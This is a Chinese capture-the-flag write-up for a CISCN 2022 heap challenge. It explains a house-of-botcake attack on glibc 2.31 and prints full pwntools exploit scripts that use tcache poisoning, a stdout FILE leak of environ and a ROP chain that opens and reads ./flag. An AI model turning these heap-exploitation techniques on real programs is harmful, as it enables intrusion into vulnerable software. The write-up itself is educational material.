news 2026/4/7 0:01:00

2022 CISCN 华东北赛区 Blue NSSCTF PWN house of botcake

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
2022 CISCN 华东北赛区 Blue NSSCTF PWN house of botcake

House of botcake
难死我了!

IDA分析

main函数

有一次UAF的机会来泄露libc
也只有一次机会打印出libc

刚好分配到unsored bin来泄露

依旧全保护

根据程序写出自动化脚本

frompwnimport*libdir='/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9_amd64'ld=libdir+'/ld-2.31.so'# 动态链接器路径vn_path='./pwn'# 可执行文件路径(已用 xclibc 处理过的副本)# 使用目标 glibc 的 ld 启动程序(不要使用 LD_PRELOAD 整个 libc)p=process([ld,'--library-path',libdir,vn_path])#p = remote('node5.buuoj.cn',28244)elf=ELF(vn_path)libc=ELF(libdir+'/libc-2.31.so')defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendlineafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))

add一个看看写得对不对

add(0x20,b'a')


okok,第一步是泄露libc地址,依旧填满tcache[0x90],然后利用uaf然后show出来地址算出libc_base

foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)


接下来用backdoor然后接收地址

backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))




这里会检查free_hook和malloc_hook是否被劫持

也禁用了execve
我们先进行tcache poisoning 这也是我们现在唯一能做的

#poisoningdelete(7)


可以看到两个0x90的chunk合并成了0x121
现在从tcache里面申请出一个chunk,准备double free chunk8

add(0x80,b'cccc')#0


然后去造成堆重叠

现在就是堆重叠了,我们可以能让 malloc() 返回到任意地址,现在覆盖hook不行,那么常规思路就是去搞environ,怎么去泄露environ呢,我们已经没有程序提供输出的东西了,这时候就是_IO_2_1_stdout_结构体。
需要一个“把任意写转换成任意读/信息泄露”的中间媒介。
glibc 里最合适的媒介之一,就是 stdio 的 FILE:

  • 程序必然会输出(菜单、Done、Error),意味着 stdout 的内部函数一定会被频繁调用(puts/printf/write/fflush 等)
  • stdout 对应的 IO_2_1_stdout 是 libc 里的一个全局对象(地址 = libc_base + 常量偏移),你已经通过 unsorted 得到了 libc_base,因此能定位 stdout 的精确地址
  • FILE 结构里有大量指针字段,控制“缓冲区在哪、指针走到哪、可读/可写范围是多少”
  • 如果你把这些指针改到你想泄露的地址(例如 &environ),libc 可能会把那块内存当作“要输出的缓冲区内容”吐给你

stdout 是一个 struct _IO_FILE_plus(FILE + vtable 指针)的大对象
_flags
第一个 8 字节一般是 _flags(低位包含状态位),正常 stdout 里这是一个“看起来像随机”的值,但它代表了:

  • 是否读/写
  • 是否 error/eof
  • 缓冲模式
  • 各种内部状态
    FILE 里有一组典型字段(命名随版本略有变化):
  • _IO_read_base
  • _IO_read_ptr
  • _IO_read_end
  • _IO_write_base
  • _IO_write_ptr
  • _IO_write_end
  • _IO_buf_base
  • _IO_buf_end
    这些字段决定了:
  • 读模式时,从哪里读、读到哪
  • 写模式时,哪些数据算“待输出”、输出上限是多少
  • 缓冲区到底在哪一段内存
    stdout 正常情况下,这些指针通常指向 libc 为 stdout 分配/管理的缓冲区(有的情况下是 NULL 表示未分配或无缓冲)。
    fileno / lock / vtable
    stdout 的 fileno 通常是 1;还有 _lock 指针、以及结尾的 vtable 指针指向 libc 内部的 _IO_file_jumps 等。

stdout 泄露的核心原理:控制“libc 输出时读的缓冲区范围

  1. 用 _flags = 0xfbad1800 把 FILE 强行切到一种“异常/读写混乱但可触发输出”的状态(这是很多题里验证过的“好用的 flags 组合”,不要求你完全记住每一位含义,但要知道它在 IO 代码路径里会让 libc 进入某种可泄露分支)。
  2. 把某些指针字段(常见是 read/write/buf 指针)设置为:
  • base = addr
  • ptr/end = addr+8(或相近)
  1. 当 libc 下一次对 stdout 做某种输出/刷新时,它会认为:
  • “缓冲区里有一段待处理的数据”
  • 而那段数据的地址范围正是你指定的 [addr, addr+8)
    于是 stdout 就会把那 8 字节原封不动地写到网络/终端输出中。你再用 recvuntil(b’\x7f’) 截到地址尾部,就拿到了内存泄露。

为什么选择泄 environ?——stdout 泄露需要一个“你已知地址”的目标
stdout 泄露的前提是:你要给它一个 addr,也就是“你想读哪里的 8 字节”。
但你想最终得到的是栈地址,而栈地址本身是 ASLR 随机的,你不知道它具体是多少,所以不能直接让 stdout 读“某个栈地址”。
因此需要一个“地址你知道,但里面存的是栈地址”的对象。environ 完全满足:

  • 你已经有 libc_base
  • &environ = libc_base + libc.sym[‘environ’] 是确定的
  • *(environ) 是栈地址(argv/envp 在栈上)
    所以让 stdout 泄露 *(environ) 非常自然:
    stdout leak 只能读“你能定位的地址”,而 &environ 恰好是你能定位且能导出栈地址的指针。
stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]

tcache poisoning(能改 next)
当可以对“已 free 的 chunk8”写入其用户区前 8 字节(tcache next 指针位置),就能把它的 next 指到任意地址:

*(chunk8_user)=target

然后 malloc(sz) 就会返回 target
因为程序没有 edit / 不能直接对 free chunk 写,所以用 chunk overlap(2 覆盖 3) 这种方式,间接把“free chunk 的 next”改成 IO_stdout。

在 glibc 2.31 的 tcache 中:

  • chunk free 后,它的 用户区起始 8 字节被用作 tcache_entry->next(单链表指针)
  • 所以 “tcache poisoning” 需要你能做到:
//free(chunk3);*(uint64_t*)chunk3_user=target;//target=&_IO_2_1_stdout_

你这题没有 edit,所以你必须想办法让某一次 add 的 read 写到 chunk3_user[0:8]。

payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)


再从tcache里面申请一个chunk来覆写fd

add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)

payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)

stdout 的写缓冲区区间是 [write_base, write_ptr)
也就是 [environ, environ+8),长度正好 8 字节。
当 stdout 被刷新/溢出处理时,会把这 8 字节写到真实 fd=1 输出。

现在去接收这个地址

现在拿到的 stack(其实是 *(environ) 的值),我们接下来怎么办呢,打ORW,也就是执行层,我们现在的都是数据层,我们要执行

  • open(“./flag”, 0)
  • read(fd, buf, 0x40)
  • write(1, buf, 0x40) 或 puts(buf)
    也就是说:你要能控制 CPU 的 RIP 走你想走的 gadget/函数。否则你只是“能写内存”,并不会自动打印 flag。
    常见控制流入口有:
    A. Hook / 函数指针(__free_hook、vtable、回调指针)
  • 优点:不需要栈地址(有时)
  • 缺点:本题约束多、触发点不一定稳定;而且你选择 ORW 通常要一串 ROP,hook 触发往往只能做一次函数调用,后续还得二次控制流
    B. GOT 劫持
  • 受 RELRO 影响(Full RELRO 不行)
  • 且你还是需要让程序“恰好调用到被你劫持的函数”,不一定方便
    C. 覆盖返回地址(saved RIP)
  • 优点:几乎所有程序都必然返回,尤其 Add 函数每次执行完都会 ret 回主循环
  • 你可以把返回地址改成 pop rdi; ret 等 gadget,直接进入 ROP 链
  • 这是最标准、最通用的“从写内存到拿 shell/拿 flag”的转化点
    A已经被ban了,受 RELRO 影响,GOT也不行,那就只能选C

    Add(sub_138A)非常适合当入口:
  • 它每次都会从 main 调用,然后返回到主菜单循环
  • 可以通过 tcache poisoning 把一次 malloc 的返回地址指向 Add 的栈帧附近,让 read 把数据写进栈
  • 当 Add 执行到结尾 leave; ret 时,CPU 就会从你覆盖的返回地址跳走
    在 x86-64 上:
  • leave 等价于:
    • mov rsp, rbp
    • pop rbp
  • ret 等价于:
    • pop rip(从 [rsp] 取 8 字节作为下一条指令地址)
栈高地址[局部变量...][saved RBP]<--leave 会 pop 走[saved RIP]<--ret 会跳到这里(你要覆盖的就是它) 栈低地址
  • 控制 RIP → 跳到 pop rdi; ret
  • 在栈上按顺序放好参数 + 函数地址:
    • open
    • read
    • write/puts
      每执行一个 ret,RIP 都被更新为栈上的下一个 gadget/函数地址,寄存器被设置成你希望的值,最终完成文件读取并输出 flag。
      现在我们来测这个值跟我们泄露值的偏移
delta=0x7fffffffdfa0-0x7fffffffded8=0xC8

然后我们进行第二次tcache poisoning(把 malloc 目标打到栈上)
最终做到:

  1. 有一次 malloc 返回 attacker(这样你能写它的 tcache next)
  2. 在下一次 malloc 返回 target(栈上的 ret_slot)
delete(2)

但是我这里程序崩溃了,我感觉是我打的补丁的版本和题目还是有差异,现在直接用题目的
先把偏移改一改


破案不是补丁什么的而是

p.sendlineafter(b'Please input content: ',content)

多输入一个字符越界了
。。。
stack新偏移0x128
再继续tcache poisoning

delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack)add(0x70,payload3)#2add(0x80,b'dddd')#3

接下来直接打ORW就行

read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=libc_base+0x0000000000142c92flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, set_addr, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr)puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)


EXP:

frompwnimport*context.clear(arch='amd64',os='linux')context.binary='./pwn'binpath='./pwn'ld='./ld.so'libc_path='./libc.so.6'#p = process([ld, '--library-path', '.', binpath])p=remote('node4.anna.nssctf.cn',28207)elf=ELF(binpath)libc=ELF(libc_path)defdebug():gdb.attach(p)pause()defadd(size,content):p.sendlineafter(b'Choice: ',b'1')p.sendlineafter(b'Please input size: ',str(size))p.sendafter(b'Please input content: ',content)defdelete(index):p.sendlineafter(b'Choice: ',b'2')p.sendlineafter(b'Please input idx: ',str(index))defshow(index):p.sendlineafter(b'Choice: ',b'3')p.sendlineafter(b'Please input idx: ',str(index))defbackdoor(index):p.sendlineafter(b'Choice: ',b'666')p.sendlineafter(b'Please input idx: ',str(index))foriinrange(9):add(0x80,b'aaaa')#0-8add(0x10,b'bbbb')#aviod be mergeforiinrange(7):delete(i)#0-6backdoor(8)show(8)leak=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('leak:'+hex(leak))offset=0x1ecbe0libc_base=leak-offset log.info('libc_base:'+hex(libc_base))#debug()#poisoningdelete(7)add(0x80,b'cccc')#0delete(8)stout=libc_base+libc.sym["_IO_2_1_stdout_"]environ=libc_base+libc.sym["environ"]payload=p64(0)+p64(0x91)+p64(stout)add(0x70,b"aaaa")# idx=1add(0x70,payload)# idx=2 (payload里带 0x91 和 IO_stdout)add(0x80,b"bbbbb")# idx=3 (注释:2和3地址差0x10,所以2可覆盖3)payload2=p64(0xfbad1800)#flagpayload2+=p64(0)#_IO_read_ptrpayload2+=p64(0)#_IO_read_endpayload2+=p64(0)#_IO_read_basepayload2+=p64(environ)#_IO_write_basepayload2+=p64(environ+8)#_IO_write_ptrpayload2+=p64(environ+8)#_IO_write_endadd(0x80,payload2)#4environ=u64(p.recvuntil(b'\x7f',drop=False)[-6:].ljust(8,b'\x00'))log.info('stack:'+hex(environ))#debug()offset2=0x128stack_addr=environ-offset2 delete(3)delete(2)payload3=p64(0)+p64(0x91)+p64(stack_addr)add(0x70,payload3)#2add(0x80,b'dddd')#3read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']read_addr=libc_base+libc.sym['read']open_addr=libc_base+libc.sym['open']write_addr=libc_base+libc.sym['write']pop_rdi=libc_base+0x0000000000023b6apop_rsi=libc_base+0x000000000002601fpop_rdx=0x0000000000142c92+libc_base flag_addr=stack_addr set_addr=stack_addr+0x200p4=b'./flag\x00\x00'# open('./flag', 0)p4+=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(open_addr)# read(3, ppp, 0x50)p4+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(set_addr)+p64(pop_rdx)+p64(0x50)+p64(read_addr)# puts(set_addr )puts_addr=libc_base+libc.sym['puts']p4+=p64(pop_rdi)+p64(set_addr)+p64(puts_addr)add(0x80,p4)#debug()p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/5 1:25:29

《创业之路》-759-用科研思维做生产 → 效率低下、无法交付;用生产标准管科研 → 抑制创新、扼杀突破;用研发模式搞交付 → 成本失控、客户流失。

一、科研&#xff08;适合大学或基础研究机构&#xff09;1. 核心定义&#xff1a;科研&#xff08;Scientific Research&#xff09;是指在未知或高度不确定的科学领域中&#xff0c;通过系统性探索&#xff0c;试图发现新知识、新原理或新现象的过程。它不以直接应用为目标&a…

作者头像 李华
网站建设 2026/3/22 5:04:53

腾讯云应用服务器迁移:同一账户

介绍的主要是同一账户的服务器迁移&#xff0c;我申请了一个一个月的服务器&#xff0c;现在快到期了。然后我租了一个新的一年服务器。所以要把之前旧的服务器的部署内容转移到新的上面来。所以记录下过程。首先确认自己的新服务器空间是否够放旧的数据&#xff0c;这个很好理…

作者头像 李华
网站建设 2026/3/30 20:51:12

Java毕设选题推荐:基于Java的书店管理系统的设计与实现基于java私人书店管理系统设计与实现【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/2 7:10:41

[BJDCTF2020]Mark loves cat

打开题目便是这样的&#xff0c;查看源代码没有什么发现&#xff0c;进行目录扫描返回如图HTTP 429 Too Many Requests 是一个标准的状态码&#xff0c;表示服务器在特定的时间内收到了来自你 IP 地址的过多请求。为了保护带宽和防止被攻击&#xff08;如 DDoS 或暴力扫描&…

作者头像 李华
网站建设 2026/4/3 3:17:24

一文讲清:AI大模型基本功——手写MOE混合专家模型

MOE&#xff08;Mixture of Experts&#xff09;也就是混合专家系统&#xff0c;已经在LLM&#xff08;Large Language Model&#xff09;的结构中成为标配了。最近看到一篇手写MOE教程&#xff0c;所学下来&#xff0c;受益颇多。 MOE概述 MOE的核心思想就是通过多个神经网络…

作者头像 李华